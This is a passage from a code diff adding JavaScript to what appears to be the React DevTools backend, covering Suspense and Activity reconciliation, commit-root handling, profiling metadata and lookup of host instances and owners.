+        isLegacySuspense && prevFiber.memoizedState !== null;
+      const nextDidTimeOut =
+        isLegacySuspense && nextFiber.memoizedState !== null;
+
+      const prevWasHidden = isHiddenOffscreen(prevFiber);
+      const nextIsHidden = isHiddenOffscreen(nextFiber);
+      const prevWasSuspended = isSuspendedOffscreen(prevFiber);
+      const nextIsSuspended = isSuspendedOffscreen(nextFiber);
+
+      if (isLegacySuspense) {
+        if (fiberInstance !== null && fiberInstance.suspenseNode !== null) {
+          const suspenseNode = fiberInstance.suspenseNode;
+          if (
+            (prevFiber.stateNode === null) !==
+            (nextFiber.stateNode === null)
+          ) {
+            trackThrownPromisesFromRetryCache(
+              suspenseNode,
+              nextFiber.stateNode,
+            );
+          }
+          if (
+            (prevFiber.memoizedState === null) !==
+            (nextFiber.memoizedState === null)
+          ) {
+            // Toggle suspended state.
+            recordSuspenseSuspenders(suspenseNode);
+          }
+        }
+      }
+      // The logic below is inspired by the code paths in updateSuspenseComponent()
+      // inside ReactFiberBeginWork in the React source code.
+      if (prevDidTimeout && nextDidTimeOut) {
+        // Fallback -> Fallback:
+        // 1. Reconcile fallback set.
+        const nextFiberChild = nextFiber.child;
+        const nextFallbackChildSet = nextFiberChild
+          ? nextFiberChild.sibling
+          : null;
+        // Note: We can't use nextFiber.child.sibling.alternate
+        // because the set is special and alternate may not exist.
+        const prevFiberChild = prevFiber.child;
+        const prevFallbackChildSet = prevFiberChild
+          ? prevFiberChild.sibling
+          : null;
+
+        if (prevFallbackChildSet == null && nextFallbackChildSet != null) {
+          mountChildrenRecursively(
+            nextFallbackChildSet,
+            traceNearestHostComponentUpdate,
+          );
+
+          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+        }
+
+        const childrenUpdateFlags =
+          nextFallbackChildSet != null && prevFallbackChildSet != null
+            ? updateChildrenRecursively(
+                nextFallbackChildSet,
+                prevFallbackChildSet,
+                traceNearestHostComponentUpdate,
+              )
+            : NoUpdate;
+        updateFlags |= childrenUpdateFlags;
+      } else if (prevDidTimeout && !nextDidTimeOut) {
+        // Fallback -> Primary:
+        // 1. Unmount fallback set
+        // Note: don't emulate fallback unmount because React actually did it.
+        // 2. Mount primary set
+        const nextPrimaryChildSet = nextFiber.child;
+        if (nextPrimaryChildSet !== null) {
+          mountChildrenRecursively(
+            nextPrimaryChildSet,
+            traceNearestHostComponentUpdate,
+          );
+          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+        }
+      } else if (!prevDidTimeout && nextDidTimeOut) {
+        // Primary -> Fallback:
+        // 1. Hide primary set
+        // We simply don't re-add the fallback children and let
+        // unmountRemainingChildren() handle it.
+        // 2. Mount fallback set
+        const nextFiberChild = nextFiber.child;
+        const nextFallbackChildSet = nextFiberChild
+          ? nextFiberChild.sibling
+          : null;
+        if (nextFallbackChildSet != null) {
+          mountChildrenRecursively(
+            nextFallbackChildSet,
+            traceNearestHostComponentUpdate,
+          );
+          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+        }
+      } else if (nextIsSuspended) {
+        if (!prevWasSuspended) {
+          // We're hiding the children. Disconnect them from the front end but keep state.
+          if (fiberInstance !== null && !isInDisconnectedSubtree) {
+            disconnectChildrenRecursively(remainingReconcilingChildren);
+          }
+        }
+        // Update children inside the hidden tree if they committed with a new updates.
+        const stashedDisconnected = isInDisconnectedSubtree;
+        isInDisconnectedSubtree = true;
+        try {
+          updateFlags |= updateChildrenRecursively(
+            nextFiber.child,
+            prevFiber.child,
+            false,
+          );
+        } finally {
+          isInDisconnectedSubtree = stashedDisconnected;
+        }
+      } else if (prevWasSuspended && !nextIsSuspended) {
+        // We're revealing the hidden children. We now need to update them to the latest state.
+        // We do this while still in the disconnected state and then we reconnect the new ones.
+        // This avoids reconnecting things that are about to be removed anyway.
+        const stashedDisconnected = isInDisconnectedSubtree;
+        isInDisconnectedSubtree = true;
+        try {
+          if (nextFiber.child !== null) {
+            updateFlags |= updateChildrenRecursively(
+              nextFiber.child,
+              prevFiber.child,
+              false,
+            );
+          }
+          // Ensure we unmount any remaining children inside the isInDisconnectedSubtree flag
+          // since they should not trigger real deletions.
+          unmountRemainingChildren();
+          remainingReconcilingChildren = null;
+        } finally {
+          isInDisconnectedSubtree = stashedDisconnected;
+        }
+        if (fiberInstance !== null && !isInDisconnectedSubtree) {
+          reconnectChildrenRecursively(fiberInstance);
+          // Children may have reordered while they were hidden.
+          updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+        }
+      } else if (nextIsHidden) {
+        if (isActivityHiddenOffscreen(nextFiber)) {
+          // Activity's hidden children stay visible in the DevTools tree.
+          // Whether staying hidden or transitioning to hidden, update normally.
+          updateFlags |= updateChildrenRecursively(
+            nextFiber.child,
+            prevFiber.child,
+            traceNearestHostComponentUpdate,
+          );
+        } else if (prevWasHidden) {
+          // still hidden. Nothing to do.
+        } else {
+          // We're hiding the children. Remove them from the Frontend
+          unmountRemainingChildren();
+        }
+      } else if (prevWasHidden && !nextIsHidden) {
+        if (
+          nextFiber.return !== null &&
+          nextFiber.return.tag === ActivityComponent
+        ) {
+          // Activity children were never unmounted, so just update normally.
+          updateFlags |= updateChildrenRecursively(
+            nextFiber.child,
+            prevFiber.child,
+            traceNearestHostComponentUpdate,
+          );
+        } else {
+          // Since we don't mount hidden children and unmount children when hiding,
+          // we need to enter the mount path when revealing.
+          const nextChildSet = nextFiber.child;
+          if (nextChildSet !== null) {
+            mountChildrenRecursively(
+              nextChildSet,
+              traceNearestHostComponentUpdate,
+            );
+            updateFlags |= ShouldResetChildren | ShouldResetSuspenseChildren;
+          }
+        }
+      } else if (
+        nextFiber.tag === SuspenseComponent &&
+        OffscreenComponent !== -1 &&
+        fiberInstance !== null &&
+        fiberInstance.suspenseNode !== null
+      ) {
+        // Modern Suspense path
+        const suspenseNode = fiberInstance.suspenseNode;
+        const prevContentFiber = prevFiber.child;
+        const nextContentFiber = nextFiber.child;
+        const previousHydrated = isFiberHydrated(prevFiber);
+        const nextHydrated = isFiberHydrated(nextFiber);
+        if (previousHydrated && nextHydrated) {
+          if (nextContentFiber === null || prevContentFiber === null) {
+            throw new Error(
+              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+            );
+          }
+
+          if (
+            (prevFiber.stateNode === null) !==
+            (nextFiber.stateNode === null)
+          ) {
+            trackThrownPromisesFromRetryCache(
+              suspenseNode,
+              nextFiber.stateNode,
+            );
+          }
+
+          if (
+            (prevFiber.memoizedState === null) !==
+            (nextFiber.memoizedState === null)
+          ) {
+            // Toggle suspended state.
+            recordSuspenseSuspenders(suspenseNode);
+          }
+
+          shouldMeasureSuspenseNode = false;
+          updateFlags |= updateSuspenseChildrenRecursively(
+            nextContentFiber,
+            prevContentFiber,
+            traceNearestHostComponentUpdate,
+            stashedSuspenseParent,
+            stashedSuspensePrevious,
+            stashedSuspenseRemaining,
+          );
+          // updateSuspenseChildrenRecursively popped already
+          shouldPopSuspenseNode = false;
+          if (nextFiber.memoizedState === null) {
+            // Measure this Suspense node in case it changed. We don't update the rect while
+            // we're inside a disconnected subtree nor if we are the Suspense boundary that
+            // is suspended. This lets us keep the rectangle of the displayed content while
+            // we're suspended to visualize the resulting state.
+            shouldMeasureSuspenseNode = !isInDisconnectedSubtree;
+          }
+        } else if (!previousHydrated && nextHydrated) {
+          if (nextContentFiber === null) {
+            throw new Error(
+              'There should always be an Offscreen Fiber child in a hydrated Suspense boundary.',
+            );
+          }
+
+          trackThrownPromisesFromRetryCache(suspenseNode, nextFiber.stateNode);
+          // Toggle suspended state.
+          recordSuspenseSuspenders(suspenseNode);
+
+          mountSuspenseChildrenRecursively(
+            nextContentFiber,
+            traceNearestHostComponentUpdate,
+            stashedSuspenseParent,
+            stashedSuspensePrevious,
+            stashedSuspenseRemaining,
+          );
+          // mountSuspenseChildrenRecursively popped already
+          shouldPopSuspenseNode = false;
+        } else if (previousHydrated && !nextHydrated) {
+          throw new Error(
+            'Encountered a dehydrated Suspense boundary that was previously hydrated.',
+          );
+        } else {
+          // This Suspense Fiber is still dehydrated. It won't have any children
+          // until hydration.
+        }
+      } else {
+        // Common case: Primary -> Primary.
+        // This is the same code path as for non-Suspense fibers.
+        if (nextFiber.child !== prevFiber.child) {
+          updateFlags |= updateChildrenRecursively(
+            nextFiber.child,
+            prevFiber.child,
+            traceNearestHostComponentUpdate,
+          );
+        } else {
+          // Children are unchanged.
+          if (fiberInstance !== null) {
+            // All the remaining children will be children of this same fiber so we can just reuse them.
+            // I.e. we just restore them by undoing what we did above.
+            fiberInstance.firstChild = remainingReconcilingChildren;
+            remainingReconcilingChildren = null;
+
+            consumeSuspenseNodesOfExistingInstance(fiberInstance);
+
+            if (traceUpdatesEnabled) {
+              // If we're tracing updates and we've bailed out before reaching a host node,
+              // we should fall back to recursively marking the nearest host descendants for highlight.
+              if (traceNearestHostComponentUpdate) {
+                const hostInstances =
+                  findAllCurrentHostInstances(fiberInstance);
+                hostInstances.forEach(hostInstance => {
+                  traceUpdatesForNodes.add(hostInstance);
+                });
+              }
+            }
+          } else {
+            const childrenUpdateFlags = updateChildrenRecursively(
+              nextFiber.child,
+              prevFiber.child,
+              false,
+            );
+            // If this fiber is filtered there might be changes to this set elsewhere so we have
+            // to visit each child to place it back in the set. We let the child bail out instead.
+            if ((childrenUpdateFlags & ShouldResetChildren) !== NoUpdate) {
+              throw new Error(
+                'The children should not have changed if we pass in the same set.',
+              );
+            }
+            updateFlags |= childrenUpdateFlags;
+          }
+        }
+      }
+
+      if (fiberInstance !== null) {
+        // Detect Activity hidden/visible mode changes.
+        if (
+          prevFiber.tag === ActivityComponent &&
+          nextFiber.tag === ActivityComponent &&
+          fiberInstance.kind === FIBER_INSTANCE
+        ) {
+          const prevOffscreen = prevFiber.child;
+          const nextOffscreen = nextFiber.child;
+          if (prevOffscreen !== null && nextOffscreen !== null) {
+            const prevHidden = isHiddenOffscreen(prevOffscreen);
+            const nextHidden = isHiddenOffscreen(nextOffscreen);
+            if (prevHidden !== nextHidden) {
+              pushOperation(TREE_OPERATION_SET_SUBTREE_MODE);
+              pushOperation(fiberInstance.id);
+              pushOperation(
+                nextHidden ? ActivityHiddenMode : ActivityVisibleMode,
+              );
+            }
+          }
+        }
+
+        removePreviousSuspendedBy(
+          fiberInstance,
+          previousSuspendedBy,
+          shouldPopSuspenseNode
+            ? reconcilingParentSuspenseNode
+            : stashedSuspenseParent,
+        );
+
+        if (fiberInstance.kind === FIBER_INSTANCE) {
+          let componentLogsEntry = fiberToComponentLogsMap.get(
+            fiberInstance.data,
+          );
+          if (
+            componentLogsEntry === undefined &&
+            fiberInstance.data.alternate
+          ) {
+            componentLogsEntry = fiberToComponentLogsMap.get(
+              fiberInstance.data.alternate,
+            );
+          }
+          recordConsoleLogs(fiberInstance, componentLogsEntry);
+
+          if (!isInDisconnectedSubtree) {
+            const isProfilingSupported =
+              nextFiber.hasOwnProperty('treeBaseDuration');
+            if (isProfilingSupported) {
+              recordProfilingDurations(fiberInstance, prevFiber);
+            }
+          }
+        }
+      }
+
+      if ((updateFlags & ShouldResetChildren) !== NoUpdate) {
+        // We need to crawl the subtree for closest non-filtered Fibers
+        // so that we can display them in a flat children set.
+        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {
+          if (!nextIsSuspended && !isInDisconnectedSubtree) {
+            recordResetChildren(fiberInstance);
+          }
+
+          // We've handled the child order change for this Fiber.
+          // Since it's included, there's no need to invalidate parent child order.
+          updateFlags &= ~ShouldResetChildren;
+        } else {
+          // Let the closest unfiltered parent Fiber reset its child order instead.
+        }
+      } else {
+      }
+
+      if ((updateFlags & ShouldResetSuspenseChildren) !== NoUpdate) {
+        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {
+          const suspenseNode = fiberInstance.suspenseNode;
+          if (suspenseNode !== null) {
+            recordResetSuspenseChildren(suspenseNode);
+            updateFlags &= ~ShouldResetSuspenseChildren;
+          }
+        } else {
+          // Let the closest unfiltered parent Fiber reset its child order instead.
+        }
+      }
+      if ((updateFlags & ShouldResetParentSuspenseChildren) !== NoUpdate) {
+        if (fiberInstance !== null && fiberInstance.kind === FIBER_INSTANCE) {
+          const suspenseNode = fiberInstance.suspenseNode;
+          if (suspenseNode !== null) {
+            updateFlags &= ~ShouldResetParentSuspenseChildren;
+            updateFlags |= ShouldResetSuspenseChildren;
+          }
+        } else {
+          // Let the closest unfiltered parent Fiber reset its child order instead.
+        }
+      }
+
+      return updateFlags;
+    } finally {
+      if (fiberInstance !== null) {
+        unmountRemainingChildren();
+        reconcilingParent = stashedParent;
+        previouslyReconciledSibling = stashedPrevious;
+        remainingReconcilingChildren = stashedRemaining;
+        if (shouldMeasureSuspenseNode) {
+          if (!isInDisconnectedSubtree) {
+            // Measure this Suspense node in case it changed. We don't update the rect
+            // while we're inside a disconnected subtree so that we keep the outline
+            // as it was before we hid the parent.
+            const suspenseNode = fiberInstance.suspenseNode;
+            if (suspenseNode === null) {
+              throw new Error(
+                'Attempted to measure a Suspense node that does not exist.',
+              );
+            }
+            const prevRects = suspenseNode.rects;
+            const nextRects = measureInstance(fiberInstance);
+            if (!areEqualRects(prevRects, nextRects)) {
+              suspenseNode.rects = nextRects;
+              recordSuspenseResize(suspenseNode);
+            }
+          }
+        }
+        if (shouldPopSuspenseNode) {
+          reconcilingParentSuspenseNode = stashedSuspenseParent;
+          previouslyReconciledSiblingSuspenseNode = stashedSuspensePrevious;
+          remainingReconcilingChildrenSuspenseNodes = stashedSuspenseRemaining;
+        }
+        isInFocusedActivity = stashedIsInActivitySlice;
+      }
+    }
+  }
+
+  function disconnectChildrenRecursively(firstChild: null | DevToolsInstance) {
+    for (let child = firstChild; child !== null; child = child.nextSibling) {
+      if (
+        (child.kind === FIBER_INSTANCE ||
+          child.kind === FILTERED_FIBER_INSTANCE) &&
+        isSuspendedOffscreen(child.data)
+      ) {
+        // This instance's children are already disconnected.
+      } else {
+        disconnectChildrenRecursively(child.firstChild);
+      }
+      if (child.kind === FIBER_INSTANCE) {
+        recordDisconnect(child);
+      } else if (child.kind === VIRTUAL_INSTANCE) {
+        recordVirtualDisconnect(child);
+      }
+    }
+  }
+
+  function reconnectChildrenRecursively(parentInstance: DevToolsInstance) {
+    for (
+      let child = parentInstance.firstChild;
+      child !== null;
+      child = child.nextSibling
+    ) {
+      if (child.kind === FIBER_INSTANCE) {
+        recordReconnect(child, parentInstance);
+      } else if (child.kind === VIRTUAL_INSTANCE) {
+        const secondaryEnv = null; // TODO: We don't have this data anywhere. We could just stash it somewhere.
+        recordVirtualReconnect(child, parentInstance, secondaryEnv);
+      }
+      if (
+        (child.kind === FIBER_INSTANCE ||
+          child.kind === FILTERED_FIBER_INSTANCE) &&
+        isHiddenOffscreen(child.data) &&
+        !isActivityHiddenOffscreen(child.data)
+      ) {
+        // This instance's children should remain disconnected.
+        // Activity's hidden children are still shown in the tree.
+      } else {
+        reconnectChildrenRecursively(child);
+      }
+    }
+  }
+
+  function cleanup() {
+    isProfiling = false;
+  }
+
+  function flushInitialOperations() {
+    const localPendingOperationsQueue = pendingOperationsQueue;
+
+    pendingOperationsQueue = null;
+
+    if (
+      localPendingOperationsQueue !== null &&
+      localPendingOperationsQueue.length > 0
+    ) {
+      // We may have already queued up some operations before the frontend connected
+      // If so, let the frontend know about them.
+      localPendingOperationsQueue.forEach(operations => {
+        hook.emit('operations', operations);
+      });
+    } else {
+      // Before the traversals, remember to start tracking
+      // our path in case we have selection to restore.
+      if (trackedPath !== null) {
+        mightBeOnTrackedPath = true;
+      }
+      // If we have not been profiling, then we can just walk the tree and build up its current state as-is.
+      hook.getFiberRoots(rendererID).forEach(root => {
+        const current = root.current;
+        const newRoot = createFiberInstance(current);
+        rootToFiberInstanceMap.set(root, newRoot);
+        idToDevToolsInstanceMap.set(newRoot.id, newRoot);
+        currentRoot = newRoot;
+        setRootPseudoKey(currentRoot.id, root.current);
+
+        // Handle multi-renderer edge-case where only some v16 renderers support profiling.
+        if (isProfiling && rootSupportsProfiling(root)) {
+          // If profiling is active, store commit time and duration.
+          // The frontend may request this information after profiling has stopped.
+          currentCommitProfilingMetadata = {
+            changeDescriptions: recordChangeDescriptions ? new Map() : null,
+            durations: [],
+            commitTime: getCurrentTime() - profilingStartTime,
+            maxActualDuration: 0,
+            priorityLevel: null,
+            updaters: null,
+            effectDuration: null,
+            passiveEffectDuration: null,
+          };
+        }
+
+        mountFiberRecursively(root.current, false);
+
+        flushPendingEvents(currentRoot);
+
+        currentRoot = (null: any);
+      });
+
+      needsToFlushComponentLogs = false;
+    }
+  }
+
+  function handleCommitFiberUnmount(fiber: any) {
+    // This Hook is no longer used. After having shipped DevTools everywhere it is
+    // safe to stop calling it from Fiber.
+  }
+
+  function handlePostCommitFiberRoot(root: FiberRoot) {
+    if (isProfiling && rootSupportsProfiling(root)) {
+      if (currentCommitProfilingMetadata !== null) {
+        const {effectDuration, passiveEffectDuration} =
+          getEffectDurations(root);
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        currentCommitProfilingMetadata.effectDuration = effectDuration;
+        // $FlowFixMe[incompatible-use] found when upgrading Flow
+        currentCommitProfilingMetadata.passiveEffectDuration =
+          passiveEffectDuration;
+      }
+    }
+
+    if (needsToFlushComponentLogs) {
+      const rootInstance = rootToFiberInstanceMap.get(root);
+      if (rootInstance === undefined) {
+        throw new Error(
+          'Should have a root instance for a committed root. This is a bug in React DevTools.',
+        );
+      }
+      // We received new logs after commit. I.e. in a passive effect. We need to
+      // traverse the tree to find the affected ones. If we just moved the whole
+      // tree traversal from handleCommitFiberRoot to handlePostCommitFiberRoot
+      // this wouldn't be needed. For now we just brute force check all instances.
+      // This is not that common of a case.
+      bruteForceFlushErrorsAndWarnings(rootInstance);
+    }
+  }
+
+  function handleCommitFiberRoot(
+    root: FiberRoot,
+    priorityLevel: void | number,
+  ) {
+    const nextFiber = root.current;
+
+    let prevFiber: null | Fiber = null;
+    let rootInstance = rootToFiberInstanceMap.get(root);
+    if (!rootInstance) {
+      rootInstance = createFiberInstance(nextFiber);
+      rootToFiberInstanceMap.set(root, rootInstance);
+      idToDevToolsInstanceMap.set(rootInstance.id, rootInstance);
+    } else {
+      prevFiber = rootInstance.data;
+    }
+    currentRoot = rootInstance;
+
+    // Before the traversals, remember to start tracking
+    // our path in case we have selection to restore.
+    if (trackedPath !== null) {
+      mightBeOnTrackedPath = true;
+    }
+
+    if (traceUpdatesEnabled) {
+      traceUpdatesForNodes.clear();
+    }
+
+    // Handle multi-renderer edge-case where only some v16 renderers support profiling.
+    const isProfilingSupported = rootSupportsProfiling(root);
+
+    if (isProfiling && isProfilingSupported) {
+      // If profiling is active, store commit time and duration.
+      // The frontend may request this information after profiling has stopped.
+      currentCommitProfilingMetadata = {
+        changeDescriptions: recordChangeDescriptions ? new Map() : null,
+        durations: [],
+        commitTime: getCurrentTime() - profilingStartTime,
+        maxActualDuration: 0,
+        priorityLevel:
+          priorityLevel == null ? null : formatPriorityLevel(priorityLevel),
+        updaters: null,
+        // Initialize to null; if new enough React version is running,
+        // these values will be read during separate handlePostCommitFiberRoot() call.
+        effectDuration: null,
+        passiveEffectDuration: null,
+      };
+    }
+
+    const nextIsMounted = nextFiber.child !== null;
+    const prevWasMounted = prevFiber !== null && prevFiber.child !== null;
+    if (!prevWasMounted && nextIsMounted) {
+      // Mount a new root.
+      setRootPseudoKey(currentRoot.id, nextFiber);
+      mountFiberRecursively(nextFiber, false);
+    } else if (prevWasMounted && nextIsMounted) {
+      if (prevFiber === null) {
+        throw new Error(
+          'Expected a previous Fiber when updating an existing root.',
+        );
+      }
+      // Update an existing root.
+      updateFiberRecursively(rootInstance, nextFiber, prevFiber, false);
+    } else if (prevWasMounted && !nextIsMounted) {
+      // Unmount an existing root.
+      unmountInstanceRecursively(rootInstance);
+      removeRootPseudoKey(currentRoot.id);
+      rootToFiberInstanceMap.delete(root);
+    } else if (!prevWasMounted && !nextIsMounted) {
+      // We don't need this root anymore.
+      rootToFiberInstanceMap.delete(root);
+    }
+
+    if (isProfiling && isProfilingSupported) {
+      if (!shouldBailoutWithPendingOperations()) {
+        const commitProfilingMetadata =
+          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).get(
+            currentRoot.id,
+          );
+
+        if (commitProfilingMetadata != null) {
+          commitProfilingMetadata.push(
+            ((currentCommitProfilingMetadata: any): CommitProfilingData),
+          );
+        } else {
+          ((rootToCommitProfilingMetadataMap: any): CommitProfilingMetadataMap).set(
+            currentRoot.id,
+            [((currentCommitProfilingMetadata: any): CommitProfilingData)],
+          );
+        }
+      }
+    }
+
+    // We're done here.
+    flushPendingEvents(currentRoot);
+
+    needsToFlushComponentLogs = false;
+
+    if (traceUpdatesEnabled) {
+      hook.emit('traceUpdates', traceUpdatesForNodes);
+    }
+
+    currentRoot = (null: any);
+  }
+
+  function getResourceInstance(fiber: Fiber): HostInstance | null {
+    if (fiber.tag === HostHoistable) {
+      const resource = fiber.memoizedState;
+      // Feature Detect a DOM Specific Instance of a Resource
+      if (
+        typeof resource === 'object' &&
+        resource !== null &&
+        resource.instance != null
+      ) {
+        return resource.instance;
+      }
+    }
+    return null;
+  }
+
+  function appendHostInstancesByDevToolsInstance(
+    devtoolsInstance: DevToolsInstance,
+    hostInstances: Array<HostInstance>,
+  ) {
+    if (devtoolsInstance.kind !== VIRTUAL_INSTANCE) {
+      const fiber = devtoolsInstance.data;
+      appendHostInstancesByFiber(fiber, hostInstances);
+      return;
+    }
+    // Search the tree for the nearest child Fiber and add all its host instances.
+    // TODO: If the true nearest Fiber is filtered, we might skip it and instead include all
+    // the children below it. In the extreme case, searching the whole tree.
+    for (
+      let child = devtoolsInstance.firstChild;
+      child !== null;
+      child = child.nextSibling
+    ) {
+      appendHostInstancesByDevToolsInstance(child, hostInstances);
+    }
+  }
+
+  function appendHostInstancesByFiber(
+    fiber: Fiber,
+    hostInstances: Array<HostInstance>,
+  ): void {
+    // Next we'll drill down this component to find all HostComponent/Text.
+    let node: Fiber = fiber;
+    while (true) {
+      if (
+        node.tag === HostComponent ||
+        node.tag === HostText ||
+        node.tag === HostSingleton ||
+        node.tag === HostHoistable
+      ) {
+        const hostInstance = node.stateNode || getResourceInstance(node);
+        if (hostInstance) {
+          hostInstances.push(hostInstance);
+        }
+      } else if (node.child) {
+        node.child.return = node;
+        node = node.child;
+        continue;
+      }
+      if (node === fiber) {
+        return;
+      }
+      while (!node.sibling) {
+        if (!node.return || node.return === fiber) {
+          return;
+        }
+        node = node.return;
+      }
+      node.sibling.return = node.return;
+      node = node.sibling;
+    }
+  }
+
+  function findAllCurrentHostInstances(
+    devtoolsInstance: DevToolsInstance,
+  ): $ReadOnlyArray<HostInstance> {
+    const hostInstances: Array<HostInstance> = [];
+    appendHostInstancesByDevToolsInstance(devtoolsInstance, hostInstances);
+    return hostInstances;
+  }
+
+  function findHostInstancesForElementID(id: number) {
+    try {
+      const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+      if (devtoolsInstance === undefined) {
+        console.warn(`Could not find DevToolsInstance with id "${id}"`);
+        return null;
+      }
+      return findAllCurrentHostInstances(devtoolsInstance);
+    } catch (err) {
+      // The fiber might have unmounted by now.
+      return null;
+    }
+  }
+
+  function findLastKnownRectsForID(id: number): null | Array<Rect> {
+    try {
+      const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+      if (devtoolsInstance === undefined) {
+        console.warn(`Could not find DevToolsInstance with id "${id}"`);
+        return null;
+      }
+      if (devtoolsInstance.suspenseNode === null) {
+        return null;
+      }
+      return devtoolsInstance.suspenseNode.rects;
+    } catch (err) {
+      // The fiber might have unmounted by now.
+      return null;
+    }
+  }
+
+  function getDisplayNameForElementID(id: number): null | string {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      return null;
+    }
+    if (devtoolsInstance.kind === FIBER_INSTANCE) {
+      const fiber = devtoolsInstance.data;
+      if (fiber.tag === HostRoot) {
+        // The only reason you'd inspect a HostRoot is to show it as a SuspenseNode.
+        return 'Initial Paint';
+      }
+      if (fiber.tag === SuspenseComponent || fiber.tag === ActivityComponent) {
+        // For Suspense and Activity components, we can show a better name
+        // by using the name prop or their owner.
+        const props = fiber.memoizedProps;
+        if (props.name != null) {
+          return props.name;
+        }
+        const owner = getUnfilteredOwner(fiber);
+        if (owner != null) {
+          if (typeof owner.tag === 'number') {
+            return getDisplayNameForFiber((owner: any));
+          } else {
+            return owner.name || '';
+          }
+        }
+      }
+      return getDisplayNameForFiber(fiber);
+    } else {
+      return devtoolsInstance.data.name || '';
+    }
+  }
+
+  function getNearestSuspenseNode(instance: DevToolsInstance): SuspenseNode {
+    while (instance.suspenseNode === null) {
+      if (instance.parent === null) {
+        throw new Error(
+          'There should always be a SuspenseNode parent on a mounted instance.',
+        );
+      }
+      instance = instance.parent;
+    }
+    return instance.suspenseNode;
+  }
+
+  function getNearestMountedDOMNode(publicInstance: Element): null | Element {
+    let domNode: null | Element = publicInstance;
+    while (domNode && !publicInstanceToDevToolsInstanceMap.has(domNode)) {
+      // $FlowFixMe: In practice this is either null or Element.
+      domNode = domNode.parentNode;
+    }
+    return domNode;
+  }
+
+  function getElementIDForHostInstance(
+    publicInstance: HostInstance,
+  ): number | null {
+    const instance = publicInstanceToDevToolsInstanceMap.get(publicInstance);
+    if (instance !== undefined) {
+      if (instance.kind === FILTERED_FIBER_INSTANCE) {
+        // A Filtered Fiber Instance will always have a Virtual Instance as a parent.
+        return ((instance.parent: any): VirtualInstance).id;
+      }
+      return instance.id;
+    }
+    return null;
+  }
+
+  function getSuspenseNodeIDForHostInstance(
+    publicInstance: HostInstance,
+  ): number | null {
+    const instance = publicInstanceToDevToolsInstanceMap.get(publicInstance);
+    if (instance !== undefined) {
+      // Pick nearest unfiltered SuspenseNode instance.
+      let suspenseInstance = instance;
+      while (
+        suspenseInstance.suspenseNode === null ||
+        suspenseInstance.kind === FILTERED_FIBER_INSTANCE
+      ) {
+        if (suspenseInstance.parent === null) {
+          // We shouldn't get here since we'll always have a suspenseNode at the root.
+          return null;
+        }
+        suspenseInstance = suspenseInstance.parent;
+      }
+      return suspenseInstance.id;
+    }
+    return null;
+  }
+
+  function getElementAttributeByPath(
+    id: number,
+    path: Array<string | number>,
+  ): mixed {
+    if (isMostRecentlyInspectedElement(id)) {
+      return getInObject(
+        ((mostRecentlyInspectedElement: any): InspectedElement),
+        path,
+      );
+    }
+    return undefined;
+  }
+
+  function getElementSourceFunctionById(id: number): null | Function {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return null;
+    }
+    if (devtoolsInstance.kind !== FIBER_INSTANCE) {
+      // TODO: Handle VirtualInstance.
+      return null;
+    }
+    const fiber = devtoolsInstance.data;
+
+    const {elementType, tag, type} = fiber;
+
+    switch (tag) {
+      case ClassComponent:
+      case IncompleteClassComponent:
+      case IncompleteFunctionComponent:
+      case IndeterminateComponent:
+      case FunctionComponent:
+        return type;
+      case ForwardRef:
+        return type.render;
+      case MemoComponent:
+      case SimpleMemoComponent:
+        return elementType != null && elementType.type != null
+          ? elementType.type
+          : type;
+      default:
+        return null;
+    }
+  }
+
+  function instanceToSerializedElement(
+    instance: FiberInstance | VirtualInstance,
+  ): SerializedElement {
+    if (instance.kind === FIBER_INSTANCE) {
+      const fiber = instance.data;
+      return {
+        displayName: getDisplayNameForFiber(fiber) || 'Anonymous',
+        id: instance.id,
+        key:
+          fiber.key === REACT_OPTIMISTIC_KEY
+            ? 'React.optimisticKey'
+            : fiber.key,
+        env: null,
+        stack:
+          fiber._debugOwner == null || fiber._debugStack == null
+            ? null
+            : parseStackTrace(fiber._debugStack, 1),
+        type: getElementTypeForFiber(fiber),
+      };
+    } else {
+      const componentInfo = instance.data;
+      return {
+        displayName: componentInfo.name || 'Anonymous',
+        id: instance.id,
+        key:
+          componentInfo.key == null ||
+          componentInfo.key === REACT_OPTIMISTIC_KEY
+            ? 'React.optimisticKey'
+            : componentInfo.key,
+        env: componentInfo.env == null ? null : componentInfo.env,
+        stack:
+          componentInfo.owner == null || componentInfo.debugStack == null
+            ? null
+            : parseStackTrace(componentInfo.debugStack, 1),
+        type: ElementTypeVirtual,
+      };
+    }
+  }
+
+  function getOwnersList(id: number): Array<SerializedElement> | null {
+    const devtoolsInstance = idToDevToolsInstanceMap.get(id);
+    if (devtoolsInstance === undefined) {
+      console.warn(`Could not find DevToolsInstance with id "${id}"`);
+      return null;
+    }
+    const self = instanceToSerializedElement(devtoolsInstance);
+    const owners = getOwnersListFromInstance(devtoolsInstance);
+    // This is particular API is prefixed with the current instance too for some reason.
+    if (owners === null) {
+      return [self];
+    }
+    owners.unshift(self);
+    owners.reverse();
+    return owners;
+  }
+
+  function getOwnersListFromInstance(
+    instance: DevToolsInstance,
+  ): Array<SerializedElement> | null {
+    let owner = getUnfilteredOwner(instance.data);
+    if (owner === null) {
+      return null;
+    }
+    const owners: Array<SerializedElement> = [];
+    let parentInstance: null | DevToolsInstance = instance.parent;
+    while (parentInstance !== null && owner !== null) {
+      const ownerInstance = findNearestOwnerInstance(parentInstance, owner);
+      if (ownerInstance !== null) {
+        owners.push(instanceToSerializedElement(ownerInstance));
+        // Get the next owner and keep searching from the previous match.
+        owner = getUnfilteredOwner(owner);
+        parentInstance = ownerInstance.parent;
+      } else {
+        break;
+      }
+    }
+    return owners;
+  }
+
+  function getUnfilteredOwner(
+    owner: ReactComponentInfo | Fiber | null | void,
+  ): ReactComponentInfo | Fiber | null {
+    if (owner == null) {
+      return null;
+    }
+    if (typeof owner.tag === 'number') {
